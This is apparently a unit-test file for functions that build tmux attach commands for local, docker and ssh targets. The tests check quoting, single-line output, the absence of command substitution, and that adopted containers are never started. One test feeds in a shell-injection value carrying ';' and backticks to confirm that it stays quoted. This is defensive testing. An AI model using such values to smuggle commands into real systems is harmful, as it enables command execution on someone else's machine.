it('stays on ONE line — it crosses `bash -c "..."` where a newline dies', () => {
expect(buildForeignAttachCommand(target)).not.toContain('\n');
});
it('uses no command substitution — the outer shell would evaluate it first', () => {
// Same rule the docker launch chain states, and the same trap that emptied
// `$TMUX_TMPDIR` during development.
expect(buildForeignAttachCommand(target)).not.toContain('$(');
});
it('shell-quotes every caller-supplied value', () => {
const nasty = buildForeignAttachCommand({
socketPath: '/tmp/a b',
targetSession: 'ev;il`x`',
viewSession: 'codeman-view-1',
});
expect(nasty).toContain("'/tmp/a b'");
// The metacharacters survive only INSIDE quotes, never as shell syntax.
expect(nasty).not.toMatch(/[^']ev;il/);
});
describe('docker', () => {
const cmd = buildForeignDockerAttachCommand({
...target,
dockerBase: 'docker --context ci',
containerName: 'my-box',
});
it('looks, then execs — never create, never start', () => {
// An adopted container belongs to the user. Mirrors the adopted branch of
// buildDockerLaunchCommand, which fails closed rather than mutating it.
expect(cmd).toContain('inspect');
expect(cmd).toContain('exec -it');
expect(cmd).not.toMatch(/\bdocker[^;]*\bstart\b/);
expect(cmd).not.toMatch(/\bdocker[^;]*\bcreate\b/);
expect(cmd).not.toMatch(/\bdocker[^;]*\brun\b/);
});
it('refuses a stopped container with a message instead of starting it', () => {
expect(cmd).toContain('State.Running');
expect(cmd).toMatch(/not running/);
});
it('carries the engine flags it was given', () => {
expect(cmd).toContain('docker --context ci');
});
});
describe('remote', () => {
const cmd = buildForeignRemoteAttachCommand({
...target,
sshArgs: ['ssh', '-o BatchMode=yes', '-o ConnectTimeout=10', '-p 2222'],
sshTarget: 'me@host',
});
it('requests a PTY right after BatchMode, like buildRemoteAttachCommand', () => {
// Interactive tmux needs a TTY; the position matches the existing remote
// attach builder so the two connect on identical terms.
expect(cmd.startsWith('ssh -o BatchMode=yes -t ')).toBe(true);
});
it('keeps every connection option it was handed', () => {
expect(cmd).toContain('-p 2222');
expect(cmd).toContain('me@host');
});
it('single-quotes the whole remote invocation', () => {
expect(cmd).toMatch(/me@host '.*tmux -S .*'$/);
});
});
});